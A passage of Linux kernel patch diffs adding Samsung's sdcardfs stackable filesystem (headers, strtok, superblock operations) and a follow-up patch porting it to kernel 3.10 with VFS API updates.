SDCARDFS_DENT_FUNC(pname) \ +static inline void sdcardfs_get_##pname(const struct dentry *dent, \ + struct path *pname) \ +{ \ + spin_lock(&SDCARDFS_D(dent)->lock); \ + pathcpy(pname, &SDCARDFS_D(dent)->pname); \ + path_get(pname); \ + spin_unlock(&SDCARDFS_D(dent)->lock); \ + return; \ +} \ +static inline void sdcardfs_put_##pname(const struct dentry *dent, \ + struct path *pname) \ +{ \ + path_put(pname); \ + return; \ +} \ +static inline void sdcardfs_set_##pname(const struct dentry *dent, \ + struct path *pname) \ +{ \ + spin_lock(&SDCARDFS_D(dent)->lock); \ + pathcpy(&SDCARDFS_D(dent)->pname, pname); \ + spin_unlock(&SDCARDFS_D(dent)->lock); \ + return; \ +} \ +static inline void sdcardfs_reset_##pname(const struct dentry *dent) \ +{ \ + spin_lock(&SDCARDFS_D(dent)->lock); \ + SDCARDFS_D(dent)->pname.dentry = NULL; \ + SDCARDFS_D(dent)->pname.mnt = NULL; \ + spin_unlock(&SDCARDFS_D(dent)->lock); \ + return; \ +} \ +static inline void sdcardfs_put_reset_##pname(const struct dentry *dent) \ +{ \ + struct path pname; \ + spin_lock(&SDCARDFS_D(dent)->lock); \ + if(SDCARDFS_D(dent)->pname.dentry) { \ + pathcpy(&pname, &SDCARDFS_D(dent)->pname); \ + SDCARDFS_D(dent)->pname.dentry = NULL; \ + SDCARDFS_D(dent)->pname.mnt = NULL; \ + spin_unlock(&SDCARDFS_D(dent)->lock); \ + path_put(&pname); \ + } else \ + spin_unlock(&SDCARDFS_D(dent)->lock); \ + return; \ +} + +SDCARDFS_DENT_FUNC(lower_path) +SDCARDFS_DENT_FUNC(orig_path) + +static inline int has_graft_path(const struct dentry *dent) +{ + int ret = 0; + + spin_lock(&SDCARDFS_D(dent)->lock); + if (SDCARDFS_D(dent)->orig_path.dentry != NULL) + ret = 1; + spin_unlock(&SDCARDFS_D(dent)->lock); + + return ret; +} + +static inline void sdcardfs_get_real_lower(const struct dentry *dent, + struct path *real_lower) +{ + /* in case of a local obb dentry + * the orig_path should be returned + */ + if(has_graft_path(dent)) + sdcardfs_get_orig_path(dent, real_lower); + else + sdcardfs_get_lower_path(dent, real_lower); +} + +static inline void sdcardfs_put_real_lower(const struct dentry *dent, + struct path *real_lower) +{ + if(has_graft_path(dent)) + sdcardfs_put_orig_path(dent, real_lower); + else + sdcardfs_put_lower_path(dent, real_lower); +} + +/* for packagelist.c */ +extern int get_caller_has_rw_locked(void *pkgl_id, derive_t derive); +extern appid_t get_appid(void *pkgl_id, const char *app_name); +extern int check_caller_access_to_name(struct inode *parent_node, const char* name, + derive_t derive, int w_ok, int has_rw); +extern int open_flags_to_access_mode(int open_flags); +extern void * packagelist_create(gid_t write_gid); +extern void packagelist_destroy(void *pkgl_id); +extern int packagelist_init(void); +extern void packagelist_exit(void); + +/* for derived_perm.c */ +extern void setup_derived_state(struct inode *inode, perm_t perm, + userid_t userid, uid_t uid, gid_t gid, mode_t mode); +extern void get_derived_permission(struct dentry *parent, struct dentry *dentry); +extern void update_derived_permission(struct dentry *dentry); +extern int need_graft_path(struct dentry *dentry); +extern int is_base_obbpath(struct dentry *dentry); +extern int is_obbpath_invalid(struct dentry *dentry); +extern int setup_obb_dentry(struct dentry *dentry, struct path *lower_path); + +/* locking helpers */ +static inline struct dentry *lock_parent(struct dentry *dentry) +{ + struct dentry *dir = dget_parent(dentry); + mutex_lock_nested(&dir->d_inode->i_mutex, I_MUTEX_PARENT); + return dir; +} + +static inline void unlock_dir(struct dentry *dir) +{ + mutex_unlock(&dir->d_inode->i_mutex); + dput(dir); +} + +static inline int prepare_dir(const char *path_s, uid_t uid, gid_t gid, mode_t mode) +{ + int err; + struct dentry *dent; + struct iattr attrs; + struct nameidata nd; + + err = kern_path_parent(path_s, &nd); + if (err) { + if (err == -EEXIST) + err = 0; + goto out; + } + + dent = lookup_create(&nd, 1); + if (IS_ERR(dent)) { + err = PTR_ERR(dent); + if (err == -EEXIST) + err = 0; + goto out_unlock; + } + + err = vfs_mkdir(nd.path.dentry->d_inode, dent, mode); + if (err) { + if (err == -EEXIST) + err = 0; + goto out_dput; + } + + attrs.ia_uid = uid; + attrs.ia_gid = gid; + attrs.ia_valid = ATTR_UID | ATTR_GID; + mutex_lock(&dent->d_inode->i_mutex); + notify_change(dent, &attrs); + mutex_unlock(&dent->d_inode->i_mutex); + +out_dput: + dput(dent); + +out_unlock: + /* parent dentry locked by lookup_create */ + mutex_unlock(&nd.path.dentry->d_inode->i_mutex); + path_put(&nd.path); + +out: + return err; +} + +/* + * Return 1, if a disk has enough free space, otherwise 0. + * We assume that any files can not be overwritten. + */ +static inline int check_min_free_space(struct dentry *dentry, size_t size, int dir) +{ + int err; + struct path lower_path; + struct kstatfs statfs; + u64 avail; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + + if (sbi->options.reserved_mb) { + /* Get fs stat of lower filesystem. */ + sdcardfs_get_lower_path(dentry, &lower_path); + err = vfs_statfs(&lower_path, &statfs); + sdcardfs_put_lower_path(dentry, &lower_path); + + if (unlikely(err)) + return 0; + + /* Invalid statfs informations. */ + if (unlikely(statfs.f_bsize == 0)) + return 0; + + /* if you are checking directory, set size to f_bsize. */ + if (unlikely(dir)) + size = statfs.f_bsize; + + /* available size */ + avail = statfs.f_bavail * statfs.f_bsize; + + /* not enough space */ + if ((u64)size > avail) + return 0; + + /* enough space */ + if ((avail - size) > (sbi->options.reserved_mb * 1024 * 1024)) + return 1; + + return 0; + } else + return 1; +} + +#endif /* not _SDCARDFS_H_ */ diff --git a/fs/sdcardfs/strtok.h b/fs/sdcardfs/strtok.h new file mode 100755 index 0000000000000..50ab25aa0bc45 --- /dev/null +++ b/fs/sdcardfs/strtok.h @@ -0,0 +1,75 @@ +/* + * fs/sdcardfs/strtok.h + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +static char * +strtok_r(char *s, const char *delim, char **last) +{ + char *spanp; + int c, sc; + char *tok; + + + /* if (s == NULL && (s = *last) == NULL) + return NULL; */ + if (s == NULL) { + s = *last; + if (s == NULL) + return NULL; + } + + /* + * Skip (span) leading delimiters (s += strspn(s, delim), sort of). + */ +cont: + c = *s++; + for (spanp = (char *)delim; (sc = *spanp++) != 0;) { + if (c == sc) + goto cont; + } + + if (c == 0) { /* no non-delimiter characters */ + *last = NULL; + return NULL; + } + tok = s - 1; + + /* + * Scan token (scan for delimiters: s += strcspn(s, delim), sort of). + * Note that delim must have one NUL; we stop if we see that, too. + */ + for (;;) { + c = *s++; + spanp = (char *)delim; + do { + sc = *spanp++; + if (sc == c) { + if (c == 0) + s = NULL; + else + s[-1] = 0; + *last = s; + return tok; + } + } while (sc != 0); + } + + /* NOTREACHED */ +} + diff --git a/fs/sdcardfs/super.c b/fs/sdcardfs/super.c new file mode 100755 index 0000000000000..1d206c82dfdf1 --- /dev/null +++ b/fs/sdcardfs/super.c @@ -0,0 +1,229 @@ +/* + * fs/sdcardfs/super.c + * + * Copyright (c) 2013 Samsung Electronics Co. Ltd + * Authors: Daeho Jeong, Woojoong Lee, Seunghwan Hyun, + * Sunghwan Yun, Sungjong Seo + * + * This program has been developed as a stackable file system based on + * the WrapFS which written by + * + * Copyright (c) 1998-2011 Erez Zadok + * Copyright (c) 2009 Shrikar Archak + * Copyright (c) 2003-2011 Stony Brook University + * Copyright (c) 2003-2011 The Research Foundation of SUNY + * + * This file is dual licensed. It may be redistributed and/or modified + * under the terms of the Apache 2.0 License OR version 2 of the GNU + * General Public License. + */ + +#include "sdcardfs.h" + +/* + * The inode cache is used with alloc_inode for both our inode info and the + * vfs inode. + */ +static struct kmem_cache *sdcardfs_inode_cachep; + +/* final actions when unmounting a file system */ +static void sdcardfs_put_super(struct super_block *sb) +{ + struct sdcardfs_sb_info *spd; + struct super_block *s; + + spd = SDCARDFS_SB(sb); + if (!spd) + return; + + if(spd->obbpath_s) { + kfree(spd->obbpath_s); + path_put(&spd->obbpath); + } + + /* decrement lower super references */ + s = sdcardfs_lower_super(sb); + sdcardfs_set_lower_super(sb, NULL); + atomic_dec(&s->s_active); + + if(spd->pkgl_id) + packagelist_destroy(spd->pkgl_id); + + kfree(spd); + sb->s_fs_info = NULL; +} + +static int sdcardfs_statfs(struct dentry *dentry, struct kstatfs *buf) +{ + int err; + struct path lower_path; + u32 min_blocks; + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); + + sdcardfs_get_lower_path(dentry, &lower_path); + err = vfs_statfs(&lower_path, buf); + sdcardfs_put_lower_path(dentry, &lower_path); + + if (sbi->options.reserved_mb) { + /* Invalid statfs informations. */ + if (buf->f_bsize == 0) { + printk(KERN_ERR "Returned block size is zero.\n"); + return -EINVAL; + } + + min_blocks = ((sbi->options.reserved_mb * 1024 * 1024)/buf->f_bsize); + buf->f_blocks -= min_blocks; + + if (buf->f_bavail > min_blocks) + buf->f_bavail -= min_blocks; + else + buf->f_bavail = 0; + + /* Make reserved blocks invisiable to media storage */ + buf->f_bfree = buf->f_bavail; + } + + /* set return buf to our f/s to avoid confusing user-level utils */ + buf->f_type = SDCARDFS_SUPER_MAGIC; + + return err; +} + +/* + * @flags: numeric mount options + * @options: mount options string + */ +static int sdcardfs_remount_fs(struct super_block *sb, int *flags, char *options) +{ + int err = 0; + + /* + * The VFS will take care of "ro" and "rw" flags among others. We + * can safely accept a few flags (RDONLY, MANDLOCK), and honor + * SILENT, but anything else left over is an error. + */ + if ((*flags & ~(MS_RDONLY | MS_MANDLOCK | MS_SILENT)) != 0) { + printk(KERN_ERR + "sdcardfs: remount flags 0x%x unsupported\n", *flags); + err = -EINVAL; + } + + return err; +} + +/* + * Called by iput() when the inode reference count reached zero + * and the inode is not hashed anywhere. Used to clear anything + * that needs to be, before the inode is completely destroyed and put + * on the inode free list. + */ +static void sdcardfs_evict_inode(struct inode *inode) +{ + struct inode *lower_inode; + + truncate_inode_pages(&inode->i_data, 0); + end_writeback(inode); + /* + * Decrement a reference to a lower_inode, which was incremented + * by our read_inode when it was created initially. + */ + lower_inode = sdcardfs_lower_inode(inode); + sdcardfs_set_lower_inode(inode, NULL); + iput(lower_inode); +} + +static struct inode *sdcardfs_alloc_inode(struct super_block *sb) +{ + struct sdcardfs_inode_info *i; + + i = kmem_cache_alloc(sdcardfs_inode_cachep, GFP_KERNEL); + if (!i) + return NULL; + + /* memset everything up to the inode to 0 */ + memset(i, 0, offsetof(struct sdcardfs_inode_info, vfs_inode)); + + i->vfs_inode.i_version = 1; + return &i->vfs_inode; +} + +static void sdcardfs_destroy_inode(struct inode *inode) +{ + kmem_cache_free(sdcardfs_inode_cachep, SDCARDFS_I(inode)); +} + +/* sdcardfs inode cache constructor */ +static void init_once(void *obj) +{ + struct sdcardfs_inode_info *i = obj; + + inode_init_once(&i->vfs_inode); +} + +int sdcardfs_init_inode_cache(void) +{ + int err = 0; + + sdcardfs_inode_cachep = + kmem_cache_create("sdcardfs_inode_cache", + sizeof(struct sdcardfs_inode_info), 0, + SLAB_RECLAIM_ACCOUNT, init_once); + if (!sdcardfs_inode_cachep) + err = -ENOMEM; + return err; +} + +/* sdcardfs inode cache destructor */ +void sdcardfs_destroy_inode_cache(void) +{ + if (sdcardfs_inode_cachep) + kmem_cache_destroy(sdcardfs_inode_cachep); +} + +/* + * Used only in nfs, to kill any pending RPC tasks, so that subsequent + * code can actually succeed and won't leave tasks that need handling. + */ +static void sdcardfs_umount_begin(struct super_block *sb) +{ + struct super_block *lower_sb; + + lower_sb = sdcardfs_lower_super(sb); + if (lower_sb && lower_sb->s_op && lower_sb->s_op->umount_begin) + lower_sb->s_op->umount_begin(lower_sb); +} + +static int sdcardfs_show_options(struct seq_file *m, struct vfsmount *mnt) +{ + struct sdcardfs_sb_info *sbi = SDCARDFS_SB(mnt->mnt_sb); + struct sdcardfs_mount_options *opts = &sbi->options; + + if (opts->fs_low_uid != 0) + seq_printf(m, ",uid=%u", opts->fs_low_uid); + if (opts->fs_low_gid != 0) + seq_printf(m, ",gid=%u", opts->fs_low_gid); + + if (opts->derive == DERIVE_NONE) + seq_printf(m, ",derive=none"); + else if (opts->derive == DERIVE_LEGACY) + seq_printf(m, ",derive=legacy"); + else if (opts->derive == DERIVE_UNIFIED) + seq_printf(m, ",derive=unified"); + + if (opts->reserved_mb != 0) + seq_printf(m, ",reserved=%uMB", opts->reserved_mb); + + return 0; +}; + +const struct super_operations sdcardfs_sops = { + .put_super = sdcardfs_put_super, + .statfs = sdcardfs_statfs, + .remount_fs = sdcardfs_remount_fs, + .evict_inode = sdcardfs_evict_inode, + .umount_begin = sdcardfs_umount_begin, + .show_options = sdcardfs_show_options, + .alloc_inode = sdcardfs_alloc_inode, + .destroy_inode = sdcardfs_destroy_inode, + .drop_inode = generic_delete_inode, +}; diff --git a/include/linux/namei.h b/include/linux/namei.h index 5a5ff57ceed4e..292afe46fb695 100644 --- a/include/linux/namei.h +++ b/include/linux/namei.h @@ -55,6 +55,9 @@ enum {LAST_NORM, LAST_ROOT, LAST_DOT, LAST_DOTDOT, LAST_BIND}; #define LOOKUP_JUMPED 0x1000 #define LOOKUP_ROOT 0x2000 #define LOOKUP_EMPTY 0x4000 +#ifdef CONFIG_SDCARD_FS_CI_SEARCH +#define LOOKUP_CASE_INSENSITIVE 0x8000 +#endif extern int user_path_at(int, const char __user *, unsigned, struct path *); extern int user_path_at_empty(int, const char __user *, unsigned, struct path *, int *empty); diff --git a/include/uapi/linux/magic.h b/include/uapi/linux/magic.h index 2944278a8ba7e..04c5ff2fc5983 100644 --- a/include/uapi/linux/magic.h +++ b/include/uapi/linux/magic.h @@ -52,6 +52,8 @@ #define REISER2FS_SUPER_MAGIC_STRING "ReIsEr2Fs" #define REISER2FS_JR_SUPER_MAGIC_STRING "ReIsEr3Fs" +#define SDCARDFS_SUPER_MAGIC 0xb550ca10 + #define SMB_SUPER_MAGIC 0x517B #define CGROUP_SUPER_MAGIC 0x27e0eb From 53ddd02399a902a601e198d04562f871d3592916 Mon Sep 17 00:00:00 2001 From: Daniel Campello Date: Fri, 19 Jun 2015 16:11:40 -0700 Subject: [PATCH 298/365] sdcardfs: port to 3.10 Change-Id: I832a14cee3fcbf47ee6e5da2943a90f9dea5b60a --- fs/sdcardfs/Kconfig | 1 - fs/sdcardfs/dentry.c | 4 +- fs/sdcardfs/file.c | 23 +++-- fs/sdcardfs/hashtable.h | 190 -------------------------------------- fs/sdcardfs/inode.c | 87 ++++------------- fs/sdcardfs/lookup.c | 25 ++--- fs/sdcardfs/main.c | 113 +++++++++++++---------- fs/sdcardfs/packagelist.c | 32 +++---- fs/sdcardfs/sdcardfs.h | 23 ++--- fs/sdcardfs/super.c | 6 +- 10 files changed, 129 insertions(+), 375 deletions(-) delete mode 100755 fs/sdcardfs/hashtable.h diff --git a/fs/sdcardfs/Kconfig b/fs/sdcardfs/Kconfig index 657f4958e8d6d..d995f3eaae6df 100755 --- a/fs/sdcardfs/Kconfig +++ b/fs/sdcardfs/Kconfig @@ -1,6 +1,5 @@ config SDCARD_FS tristate "sdcard file system" - depends on EXPERIMENTAL default n help Sdcardfs is based on Wrapfs file system. diff --git a/fs/sdcardfs/dentry.c b/fs/sdcardfs/dentry.c index 4572a5403bb25..a0c31cb68f923 100755 --- a/fs/sdcardfs/dentry.c +++ b/fs/sdcardfs/dentry.c @@ -26,7 +26,7 @@ * 0: tell VFS to invalidate dentry * 1: dentry is valid */ -static int sdcardfs_d_revalidate(struct dentry *dentry, struct nameidata *nd) +static int sdcardfs_d_revalidate(struct dentry *dentry, unsigned int flags) { int err = 1; struct path parent_lower_path, lower_path; @@ -35,7 +35,7 @@ static int sdcardfs_d_revalidate(struct dentry *dentry, struct nameidata *nd) struct dentry *lower_cur_parent_dentry = NULL; struct dentry *lower_dentry = NULL; - if (nd && nd->flags & LOOKUP_RCU) + if (flags & LOOKUP_RCU) return -ECHILD; spin_lock(&dentry->d_lock); diff --git a/fs/sdcardfs/file.c b/fs/sdcardfs/file.c index bcacb947c874a..8cd51c91f2ea9 100755 --- a/fs/sdcardfs/file.c +++ b/fs/sdcardfs/file.c @@ -82,7 +82,7 @@ static ssize_t sdcardfs_write(struct file *file, const char __user *buf, return err; } -static int sdcardfs_readdir(struct file *file, void *dirent, filldir_t filldir) +static int sdcardfs_readdir(struct file *file, struct dir_context *ctx) { int err = 0; struct file *lower_file = NULL; @@ -91,7 +91,7 @@ static int sdcardfs_readdir(struct file *file, void *dirent, filldir_t filldir) lower_file = sdcardfs_lower_file(file); lower_file->f_pos = file->f_pos; - err = vfs_readdir(lower_file, filldir, dirent); + err = iterate_dir(lower_file, ctx); file->f_pos = lower_file->f_pos; if (err >= 0) /* copy the atime */ fsstack_copy_attr_atime(dentry->d_inode, @@ -191,7 +191,6 @@ static int sdcardfs_mmap(struct file *file, struct vm_area_struct *vma) */ file_accessed(file); vma->vm_ops = &sdcardfs_vm_ops; - vma->vm_flags |= VM_CAN_NONLINEAR; file->f_mapping->a_ops = &sdcardfs_aops; /* set our aops */ if (!SDCARDFS_F(file)->lower_vm_ops) /* save for our ->fault */ @@ -242,8 +241,8 @@ static int sdcardfs_open(struct inode *inode, struct file *file) /* open lower object and link sdcardfs's file struct to lower's */ sdcardfs_get_lower_path(file->f_path.dentry, &lower_path); - lower_file = dentry_open(lower_path.dentry, lower_path.mnt, - file->f_flags, current_cred()); + lower_file = dentry_open(&lower_path, file->f_flags, current_cred()); + path_put(&lower_path); if (IS_ERR(lower_file)) { err = PTR_ERR(lower_file); lower_file = sdcardfs_lower_file(file); @@ -296,19 +295,23 @@ static int sdcardfs_file_release(struct inode *inode, struct file *file) return 0; } -static int -sdcardfs_fsync(struct file *file, int datasync) +static int sdcardfs_fsync(struct file *file, loff_t start, loff_t end, + int datasync) { int err; struct file *lower_file; struct path lower_path; struct dentry *dentry = file->f_path.dentry; + err = generic_file_fsync(file, start, end, datasync); + if (err) + goto out; + lower_file = sdcardfs_lower_file(file); sdcardfs_get_lower_path(dentry, &lower_path); - err = vfs_fsync(lower_file, datasync); + err = vfs_fsync_range(lower_file, start, end, datasync); sdcardfs_put_lower_path(dentry, &lower_path); - +out: return err; } @@ -344,7 +347,7 @@ const struct file_operations sdcardfs_main_fops = { const struct file_operations sdcardfs_dir_fops = { .llseek = generic_file_llseek, .read = generic_read_dir, - .readdir = sdcardfs_readdir, + .iterate = sdcardfs_readdir, .unlocked_ioctl = sdcardfs_unlocked_ioctl, #ifdef CONFIG_COMPAT .compat_ioctl = sdcardfs_compat_ioctl, diff --git a/fs/sdcardfs/hashtable.h b/fs/sdcardfs/hashtable.h deleted file mode 100755 index 1e770f3df1484..0000000000000 --- a/fs/sdcardfs/hashtable.h +++ /dev/null @@ -1,190 +0,0 @@ -/* - * Statically sized hash table implementation - * (C) 2012 Sasha Levin - */ - -#ifndef _LINUX_HASHTABLE_H -#define _LINUX_HASHTABLE_H - -#include -#include -#include -#include -#include - -#define DEFINE_HASHTABLE(name, bits) \ - struct hlist_head name[1 << (bits)] = \ - { [0 ... ((1 << (bits)) - 1)] = HLIST_HEAD_INIT } - -#define DECLARE_HASHTABLE(name, bits) \ - struct hlist_head name[1 << (bits)] - -#define HASH_SIZE(name) (ARRAY_SIZE(name)) -#define HASH_BITS(name) ilog2(HASH_SIZE(name)) - -/* Use hash_32 when possible to allow for fast 32bit hashing in 64bit kernels. */ -#define hash_min(val, bits) \ - (sizeof(val) <= 4 ? hash_32(val, bits) : hash_long(val, bits)) - -static inline void __hash_init(struct hlist_head *ht, unsigned int sz) -{ - unsigned int i; - - for (i = 0; i < sz; i++) - INIT_HLIST_HEAD(&ht[i]); -} - -/** - * hash_init - initialize a hash table - * @hashtable: hashtable to be initialized - * - * Calculates the size of the hashtable from the given parameter, otherwise - * same as hash_init_size. - * - * This has to be a macro since HASH_BITS() will not work on pointers since - * it calculates the size during preprocessing. - */ -#define hash_init(hashtable) __hash_init(hashtable, HASH_SIZE(hashtable)) - -/** - * hash_add - add an object to a hashtable - * @hashtable: hashtable to add to - * @node: the &struct hlist_node of the object to be added - * @key: the key of the object to be added - */ -#define hash_add(hashtable, node, key) \ - hlist_add_head(node, &hashtable[hash_min(key, HASH_BITS(hashtable))]) - -/** - * hash_add_rcu - add an object to a rcu enabled hashtable - * @hashtable: hashtable to add to - * @node: the &struct hlist_node of the object to be added - * @key: the key of the object to be added - */ -#define hash_add_rcu(hashtable, node, key) \ - hlist_add_head_rcu(node, &hashtable[hash_min(key, HASH_BITS(hashtable))]) - -/** - * hash_hashed - check whether an object is in any hashtable - * @node: the &struct hlist_node of the object to be checked - */ -static inline bool hash_hashed(struct hlist_node *node) -{ - return !hlist_unhashed(node); -} - -static inline bool __hash_empty(struct hlist_head *ht, unsigned int sz) -{ - unsigned int i; - - for (i = 0; i < sz; i++) - if (!hlist_empty(&ht[i])) - return false; - - return true; -} - -/** - * hash_empty - check whether a hashtable is empty - * @hashtable: hashtable to check - * - * This has to be a macro since HASH_BITS() will not work on pointers since - * it calculates the size during preprocessing. - */ -#define hash_empty(hashtable) __hash_empty(hashtable, HASH_SIZE(hashtable)) - -/** - * hash_del - remove an object from a hashtable - * @node: &struct hlist_node of the object to remove - */ -static inline void hash_del(struct hlist_node *node) -{ - hlist_del_init(node); -} - -/** - * hash_del_rcu - remove an object from a rcu enabled hashtable - * @node: &struct hlist_node of the object to remove - */ -static inline void hash_del_rcu(struct hlist_node *node) -{ - hlist_del_init_rcu(node); -} - -/** - * hash_for_each - iterate over a hashtable - * @name: hashtable to iterate - * @bkt: integer to use as bucket loop cursor - * @obj: the type * to use as a loop cursor for each entry - * @member: the name of the hlist_node within the struct - */ -#define hash_for_each(name, bkt, obj, member, pos) \ - for ((bkt) = 0, obj = NULL; obj == NULL && (bkt) < HASH_SIZE(name);\ - (bkt)++)\ - hlist_for_each_entry(obj, pos, &name[bkt], member) - -/** - * hash_for_each_rcu - iterate over a rcu enabled hashtable - * @name: hashtable to iterate - * @bkt: integer to use as bucket loop cursor - * @obj: the type * to use as a loop cursor for each entry - * @member: the name of the hlist_node within the struct - */ -#define hash_for_each_rcu(name, bkt, obj, member) \ - for ((bkt) = 0, obj = NULL; obj == NULL && (bkt) < HASH_SIZE(name);\ - (bkt)++)\ - hlist_for_each_entry_rcu(obj, &name[bkt], member) - -/** - * hash_for_each_safe - iterate over a hashtable safe against removal of - * hash entry - * @name: hashtable to iterate - * @bkt: integer to use as bucket loop cursor - * @tmp: a &struct used for temporary storage - * @obj: the type * to use as a loop cursor for each entry - * @member: the name of the hlist_node within the struct - */ -#define hash_for_each_safe(name, bkt, tmp, obj, member, pos) \ - for ((bkt) = 0, obj = NULL; (bkt) < HASH_SIZE(name);\ - (bkt)++)\ - hlist_for_each_entry_safe(obj, pos, tmp, &name[bkt], member) - -/** - * hash_for_each_possible - iterate over all possible objects hashing to the - * same bucket - * @name: hashtable to iterate - * @obj: the type * to use as a loop cursor for each entry - * @member: the name of the hlist_node within the struct - * @key: the key of the objects to iterate over - */ -#define hash_for_each_possible(name, obj, member, key, pos) \ - hlist_for_each_entry(obj, pos, &name[hash_min(key, HASH_BITS(name))], member) - -/** - * hash_for_each_possible_rcu - iterate over all possible objects hashing to the - * same bucket in an rcu enabled hashtable - * in a rcu enabled hashtable - * @name: hashtable to iterate - * @obj: the type * to use as a loop cursor for each entry - * @member: the name of the hlist_node within the struct - * @key: the key of the objects to iterate over - */ -#define hash_for_each_possible_rcu(name, obj, member, key) \ - hlist_for_each_entry_rcu(obj, &name[hash_min(key, HASH_BITS(name))],\ - member) - -/** - * hash_for_each_possible_safe - iterate over all possible objects hashing to the - * same bucket safe against removals - * @name: hashtable to iterate - * @obj: the type * to use as a loop cursor for each entry - * @tmp: a &struct used for temporary storage - * @member: the name of the hlist_node within the struct - * @key: the key of the objects to iterate over - */ -#define hash_for_each_possible_safe(name, obj, tmp, member, key) \ - hlist_for_each_entry_safe(obj, tmp,\ - &name[hash_min(key, HASH_BITS(name))], member) - - -#endif diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c index e8ed04250ed15..0a6a04941b4e7 100755 --- a/fs/sdcardfs/inode.c +++ b/fs/sdcardfs/inode.c @@ -49,12 +49,12 @@ void revert_fsids(const struct cred * old_cred) } static int sdcardfs_create(struct inode *dir, struct dentry *dentry, - int mode, struct nameidata *nd) + umode_t mode, bool want_excl) { int err = 0; struct dentry *lower_dentry; struct dentry *lower_parent_dentry = NULL; - struct path lower_path, saved_path; + struct path lower_path; struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; @@ -74,18 +74,9 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, lower_dentry = lower_path.dentry; lower_parent_dentry = lock_parent(lower_dentry); - err = mnt_want_write(lower_path.mnt); - if (err) - goto out_unlock; - - pathcpy(&saved_path, &nd->path); - pathcpy(&nd->path, &lower_path); - /* set last 16bytes of mode field to 0664 */ mode = (mode & S_IFMT) | 00664; - err = vfs_create(lower_parent_dentry->d_inode, lower_dentry, mode, nd); - - pathcpy(&nd->path, &saved_path); + err = vfs_create(lower_parent_dentry->d_inode, lower_dentry, mode, want_excl); if (err) goto out; @@ -96,8 +87,6 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); out: - mnt_drop_write(lower_path.mnt); -out_unlock: unlock_dir(lower_parent_dentry); sdcardfs_put_lower_path(dentry, &lower_path); REVERT_CRED(saved_cred); @@ -125,10 +114,6 @@ static int sdcardfs_link(struct dentry *old_dentry, struct inode *dir, lower_new_dentry = lower_new_path.dentry; lower_dir_dentry = lock_parent(lower_new_dentry); - err = mnt_want_write(lower_new_path.mnt); - if (err) - goto out_unlock; - err = vfs_link(lower_old_dentry, lower_dir_dentry->d_inode, lower_new_dentry); if (err || !lower_new_dentry->d_inode) @@ -139,12 +124,10 @@ static int sdcardfs_link(struct dentry *old_dentry, struct inode *dir, goto out; fsstack_copy_attr_times(dir, lower_new_dentry->d_inode); fsstack_copy_inode_size(dir, lower_new_dentry->d_inode); - old_dentry->d_inode->i_nlink = - sdcardfs_lower_inode(old_dentry->d_inode)->i_nlink; + set_nlink(old_dentry->d_inode, + sdcardfs_lower_inode(old_dentry->d_inode)->i_nlink); i_size_write(new_dentry->d_inode, file_size_save); out: - mnt_drop_write(lower_new_path.mnt); -out_unlock: unlock_dir(lower_dir_dentry); sdcardfs_put_lower_path(old_dentry, &lower_old_path); sdcardfs_put_lower_path(new_dentry, &lower_new_path); @@ -180,9 +163,6 @@ static int sdcardfs_unlink(struct inode *dir, struct dentry *dentry) dget(lower_dentry); lower_dir_dentry = lock_parent(lower_dentry); - err = mnt_want_write(lower_path.mnt); - if (err) - goto out_unlock; err = vfs_unlink(lower_dir_inode, lower_dentry); /* @@ -198,13 +178,11 @@ static int sdcardfs_unlink(struct inode *dir, struct dentry *dentry) goto out; fsstack_copy_attr_times(dir, lower_dir_inode); fsstack_copy_inode_size(dir, lower_dir_inode); - dentry->d_inode->i_nlink = - sdcardfs_lower_inode(dentry->d_inode)->i_nlink; + set_nlink(dentry->d_inode, + sdcardfs_lower_inode(dentry->d_inode)->i_nlink); dentry->d_inode->i_ctime = dir->i_ctime; d_drop(dentry); /* this is needed, else LTP fails (VFS won't do it) */ out: - mnt_drop_write(lower_path.mnt); -out_unlock: unlock_dir(lower_dir_dentry); dput(lower_dentry); sdcardfs_put_lower_path(dentry, &lower_path); @@ -228,9 +206,6 @@ static int sdcardfs_symlink(struct inode *dir, struct dentry *dentry, lower_dentry = lower_path.dentry; lower_parent_dentry = lock_parent(lower_dentry); - err = mnt_want_write(lower_path.mnt); - if (err) - goto out_unlock; err = vfs_symlink(lower_parent_dentry->d_inode, lower_dentry, symname); if (err) goto out; @@ -241,8 +216,6 @@ static int sdcardfs_symlink(struct inode *dir, struct dentry *dentry, fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); out: - mnt_drop_write(lower_path.mnt); -out_unlock: unlock_dir(lower_parent_dentry); sdcardfs_put_lower_path(dentry, &lower_path); REVERT_CRED(); @@ -266,7 +239,7 @@ static int touch(char *abs_path, mode_t mode) { return 0; } -static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, int mode) +static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { int err = 0; int make_nomedia_in_obb = 0; @@ -306,10 +279,6 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, int mode) lower_dentry = lower_path.dentry; lower_parent_dentry = lock_parent(lower_dentry); - err = mnt_want_write(lower_path.mnt); - if (err) - goto out_unlock; - /* set last 16bytes of mode field to 0775 */ mode = (mode & S_IFMT) | 00775; err = vfs_mkdir(lower_parent_dentry->d_inode, lower_dentry, mode); @@ -343,7 +312,7 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, int mode) fsstack_copy_attr_times(dir, sdcardfs_lower_inode(dir)); fsstack_copy_inode_size(dir, lower_parent_dentry->d_inode); /* update number of links on parent directory */ - dir->i_nlink = sdcardfs_lower_inode(dir)->i_nlink; + set_nlink(dir, sdcardfs_lower_inode(dir)->i_nlink); if ((sbi->options.derive == 